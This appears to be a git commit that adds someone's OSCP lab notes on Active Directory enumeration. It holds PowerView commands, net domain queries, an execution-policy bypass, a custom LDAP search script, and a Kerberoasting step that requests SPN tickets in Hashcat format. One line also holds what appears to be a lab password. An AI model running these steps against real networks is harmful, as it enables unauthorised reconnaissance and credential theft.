first commit

Windows/Active Directory for OSCP/Enumeration/PowerView Enumeration.md

@@ -0,0 +1,57 @@
+
+```sh
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+<# Get-NetLoggedOn 
+		This function will execute the NetWkstaUserEnum Win32API call to query
+		a given host for actively logged on users.
+#>
+- Get-NetComputer | Get-NetLoggedon
+
+<# Get-NetUser
+Return all users or specific user objects in AD
+
+		To only return specific properties, use
+"-Properties samaccountname,usnchanged,...". By default, all user objects for
+the current domain are returned.
+#>
+- Get-NetUser -UserName student107
+
+<# Get-NetComputer
+	Return all computers or specific computer objects in AD.
+		To only return specific properties, use
+"-Properties samaccountname,usnchanged,...". By default, all computer objects for
+the current domain are returned.
+#>
+- Get-NetComputer
+- Get-NetComputer -Unconstrained
+
+<# Get-DomainShare
+	Searches for computer shares on the domain. If -CheckShareAccess is passed,
+	then only shares the current user has read access to are returned.
+#>
+-	Find-DomainShare -CheckShareAccess -Domain svcorp.com -DomainController 10.11.1.20
+
+
+<# Get-DomainOU
+	Search for all organization units (OUs) or specific OU objects in AD.
+#>
+
+Get-DomainOU -Properties Name | sort -Property Name
+
+#Get Kerberoastable SPNs
+Get-NetUser -SPN | select serviceprincipalname
+
+Request-SPNTicket -SPN "MSSQLSvc/DC.access.offsec" -Format Hashcat
+
+#Get the count of all the Domain Admins in the domain
+Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+#
+Get-NetComputer | select operatingsystem,dnshostname
+
+#
+Find-LocalAdminAccess
+
+```

Windows/Active Directory for OSCP/Enumeration/net cmd.md

@@ -0,0 +1,3 @@
+net group /domain
+net user /domain
+net group “GRUPP” /domain

Windows/Active Directory for OSCP/Enumeration/script.md

@@ -0,0 +1,63 @@
+
+
+
+
+
+
+
+*LegmanTeamBenzoin!!*
+
+powershell -ep bypass
+
+$group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Customer support*))"
+```powershell
+$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
+$DN = ([adsi]'').distinguishedName 
+$LDAP = "LDAP://$PDC/$DN"
+
+$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
+
+$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
+$dirsearcher.filter="samAccountType=805306368"
+$dirsearcher.FindAll()
+Foreach($obj in $result)
+{
+    Foreach($prop in $obj.Properties)
+    {
+        $prop
+    }
+
+    Write-Host "-------------------------------"
+}
+$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
+$dirsearcher.filter="name=michelle"
+$result = $dirsearcher.FindAll()
+
+Foreach($obj in $result)
+{
+    Foreach($prop in $obj.Properties)
+    {
+        $prop.memberof
+    }
+
+    Write-Host "-------------------------------"
+}
+```
+
+```powershell
+function LDAPSearch {
+    param (
+        [string]$LDAPQuery
+    )
+
+    $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
+    $DistinguishedName = ([adsi]'').distinguishedName
+
+    $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")
+
+    $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)
+
+    return $DirectorySearcher.FindAll()
+
+}
+```